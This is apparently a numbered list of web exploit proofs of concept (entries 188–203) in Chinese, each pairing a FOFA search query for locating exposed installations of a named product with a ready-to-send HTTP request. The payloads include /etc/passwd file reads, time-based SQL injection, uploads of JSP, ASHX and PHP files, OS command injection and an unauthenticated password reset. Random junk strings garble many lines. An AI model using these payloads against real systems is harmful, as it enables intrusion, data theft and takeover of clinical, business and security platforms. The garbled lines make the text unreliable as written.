188. 叁体-佳会视频会议 attachment 任意文件读取
# s2 f+ n6 m" T; s4 I9 N5 o3 M3 S9 Eversion <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
. }- m4 _! r& G9 m! R8 AGET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
- Y3 s5 w( v! o: u2 TAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
* L2 Z+ L4 W; h6 nConnection: close
; L9 D9 T& m- M$ U6 C

189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
) K9 S* F5 v* J! X7 ]" G. \% I1 Q) f% k( PGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 H  H# w; t9 K- t8 @9 fAccept-Encoding: gzip, deflate
3 n' m. T4 F# B! `Accept-Language: zh-CN,zh;q=0.9
Connection: close
! U( s+ W+ S) R' s4 ~: i( T* g1 ~. B
; H  u' O( t1 U/ t+ ?( k2 _; j/ L/ x6 V
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
7 `, M! W1 d- \- W8 W" eHost: your-ip
" c# E5 X( N3 ]% e' a" T2 l" lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
- t' x% S7 T$ rAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
) d5 `8 ]# K# e2 h  D
poi=file:///etc/passwd
+ T6 C2 [+ w  m1 g2 @- t

191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
4 S# P: w7 o6 L& Q* ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
, }% J5 a9 v$ G/ T% Q
command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=

: T# }3 ~! q$ m+ e; ?! q  G! U
6 G8 F' w4 ]( h  @192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
/ u% H0 Y+ P: EHost: your-ip
+ u8 j' n% p9 f7 T- o+ j# M. wUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded

7 O1 u* j' F0 y
<% @ webhandler language="C#" class="AverageHandler" %>
- O3 `) c! g( x3 x4 w& l) tusing System;
using System.Web;
7 Y  D! a' s: i1 e: ?public class AverageHandler : IHttpHandler
{
8 M5 l% `! S, M4 O' _public bool IsReusable
{ get { return true; } }
9 [" }2 V' d5 f2 j3 ]public void ProcessRequest(HttpContext ctx)
9 F  C9 v8 c+ @, B( r4 ~! u{
ctx.Response.Write("test");
3 V: G2 E0 F, i}
}


8 U7 _- I3 t& e) p) C5 V# Y$ b193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
- R6 k% n( B1 u- Z) I5 BFOFA：body="山石云鉴主机安全管理系统"
' W# z) E2 s, ]8 cGET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
Cookie: PHPSESSID=2333333333333;
2 l8 J& H4 |: y- y5 MContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

' [" r7 j* E4 ~
: R' p9 }: ~+ D6 c0 R; u, o% zPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
" p, H$ m: f5 Q: C4 ]* a3 c8 J* ZHost:
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
! Y2 Y& |: N6 s9 c7 x; ?Connection: close
/ H0 L9 f2 m1 {' z$ d+ z1 K& TCookie: PHPSESSID=2333333333333;
) ~, S6 r( q* s4 `Content-Type: application/x-www-form-urlencoded
Content-Length: 84
) E; n" ^1 s7 m) b2 V6 ^
  x/ R: E/ V7 ^- L4 G' m% nparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')


) I. A4 A2 h: k) D0 K5 d% ?; ~GET /master/img/config HTTP/1.1
Host:
User-Agent: Mozilla/5.0


9 u  Y( f# {8 p7 J194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
' I9 h, I; P( C$ D2 }5 G
1 [; x5 M* f9 c0 IPOST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
) l5 O! Q) ~2 z; \- |+ R4 GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
0 I1 A8 Q# _4 @$ A2 J  E- n$ tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) g9 v2 }0 V6 {Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 V) H: P/ E; T* q) i: AAccept-Encoding: gzip, deflate
4 R, W  j0 }1 A6 U# S7 z7 jConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk

Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
7 A" ]. j# s% w3 h* n* SContent-Type: text/plain
<% out.println("hello");%>
. C$ @. e1 H/ u$ i5 H& l------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
" ]& X( Z8 e) {  a6 e, { {"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
8 A- O9 ~; O1 r/ J

195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
' O1 L  n& h' e0 y% J  [6 H1 I+ @POST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
& f  \# U* Z3 e9 C2 {0 UPragma: no-cache
& h2 v% v  Y* ~' bCache-Control: no-cache
9 e. S5 U/ J, N4 O1 S% x2 r, iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
* i% [  B6 a% mConnection: close
: Y& X  U5 Q' ~& {2 o! |1 E' s# [Content-Type: application/x-www-form-urlencoded
Content-Length: 68
( H/ A' t" I& s- c  a# E# s
& C' d+ }! P. E0 n3 i1 U{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
/ k+ x2 x5 n- ?; _

  S. q3 R" y& X" }# b& p& p196. 河南省风速科技统一认证平台密码重置
9 p9 I) W  N6 H3 R7 Q  V1 j, sFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
, j. W6 n/ s& K: A  GPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Host:
$ @5 J& W6 U6 _- IAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
Connection: close

{"xgh":"test","newPass":"test666","email":""}

- P! m0 A# I7 W) k

3 f) t9 G9 y4 a197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
5 Q/ v) }1 l4 KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
4 x5 e" |: s& l9 ^, V# t2 eAccept-Encoding: gzip, deflate
Connection: close
+ H" U3 W. Y4 j, n; Y" f
; A+ h- I! Z- p6 Q! M  {- m. J

6 v0 u2 q3 a% p# A# n198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
Accept-Encoding: gzip, deflate
' p8 D8 f; o8 L2 p9 DAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
/ Z+ O! z9 s; h# K8 f3 c( v2 |8 GConnection: close


( ~7 A7 Q( w  D9 T& D# \0 A8 I3 W199. cockpit系统assetsmanager_upload接口 文件上传
: U- L% y2 K, T" c/ q
1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
- k0 ^0 p7 H" D( V6 J$ DGET /auth/login?to=/ HTTP/1.1

响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

/ a2 X& {% m! j( J6 c. F( B4 ?) X2.使用刚才上一步获取到的jwt获取cookie：
/ T% O. V7 n2 p9 m. M! G' }- q
  t) r  c0 ]9 M: h9 e+ ?7 F7 YPOST /auth/check HTTP/1.1
Content-Type: application/json

: ]5 N5 u6 o. U. T, p% h{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
4 [% C/ p% Q! u& y
响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92
' Z" |0 \) P- E  W9 B1 s
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
! |" K$ d" x" [9 J, `6 Q* \8 ?Content-Type: text/php
( E% ]3 z8 H$ m5 l. M3 v
$ \, t  L* F7 h8 c<?php echo "tttt";unlink(__FILE__);?>
" v3 ?5 @8 k: B: y-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"

-----------------------------36D28FBc36bd6feE7Fb3--
, n/ n' c% \  P9 R' K
/ v/ l: a* ~) q
/storage/uploads/tttt.php
% }; }' R! Z% w) @8 j% T: _& d/ u
  Z; ~+ w5 X# a2 Z4 I9 U9 F) `3 E+ A% B200. SeaCMS海洋影视管理系统dmku SQL注入
. d4 p0 ^% C6 S5 zFOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
, a( x$ r+ m% ^, o0 {Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
; w; X# s, q9 U# ~0 hAccept-Language: zh-CN,zh;q=0.9

6 P3 G( x- l5 x
! B% f# x/ {  d) ?  A201. 方正全媒体新闻采编系统 binary SQL注入
& K0 D  G8 a! b3 q+ }FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
! y- S: I) b9 @3 x% Y% v3 A- I0 r7 k. ]Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ v& T! w2 ^- `8 ?Accept-Encoding: gzip, deflate
- g' b" s( `! `2 R% y$ H3 R& ~Accept-Language: zh-CN,zh;q=0.9
  F6 ]: p+ q- _" |( Q5 R3 F. NConnection: close

% p, ~  w" a- ~( m9 PTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
: l- A4 p1 r& |8 j' F
: q; p; I: L2 T* N
202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
( I; K- Y5 X& K* L  a获取__VIEWSTATE和__EVENTVALIDATION值
0 R; v6 Q2 y* k8 S0 wGET /User/AccountEdit.aspx HTTP/1.1
* P3 n* A6 ~2 X2 dHost: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0
0 |" |# y! X/ d
) n: C, t3 [5 _: P0 N
: j7 i' p% F* u* A/ z4 X+ I) m- x替换__VIEWSTATE和__EVENTVALIDATION值
* _  s' H# d3 u4 v, cPOST /User/AccountEdit.aspx HTTP/1.1
# Q, q. V% ~, S3 x2 l( @% jAccept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

+ p  l5 u6 I  N* E! i2 a8 _" ]3 D3 P-----------------------------786435874t38587593865736587346567358735687
! m% `; C. e; g6 G) S5 D: D+ l* ^Content-Disposition: form-data; name="__VIEWSTATE"
- l) c4 }2 J# b8 h, c1 \8 A
+ C3 D2 c. q7 g8 P__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
4 R( b, J! \' \+ g6 Y0 y' g& L: vContent-Disposition: form-data; name="__EVENTVALIDATION"
6 }/ J& `0 c+ T* j) g9 J
__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain

5 x( S- E  y9 s  s0 T! M5 ^/ fHello World!
-----------------------------786435874t38587593865736587346567358735687
; y/ Z# H/ j# O2 h8 M# mContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
* l* L4 p+ a" a7 m( V; M  I
上传图片
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
2 K+ A2 W/ k. I0 e0 S6 i! J& [
  ~* ~% d* K9 E* s! I
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
* G, L/ e4 b4 i: w/ @' @

-----------------------------786435874t38587593865736587346567358735687--
: I5 i) Q: C5 p4 Y$ P7 k0 |1 y

/_data/Uploads/1123.txt
9 q) `0 h6 a6 Z3 `5 V# |% k) _; V
( f) k* G' }( _203. 红海云EHR PtFjk 文件上传
6 P0 w1 O' k! F- n: yFOFA：body="RedseaPlatform"
' {# d* F+ e5 r& ePOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
' t& _/ D% c0 LHost: x.x.x.x
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
' h+ m( L3 Q2 X2 K, _  lContent-Length: 210

------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
9 H$ Y0 m, ~  S( g' }5 i- VContent-Type:image/jpeg
; d9 L0 y8 D- R5 @6 g+ A
* W* [& W9 J8 J$ h' q0 ?<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--





) d3 `; P0 T- N  {6 c8 p% L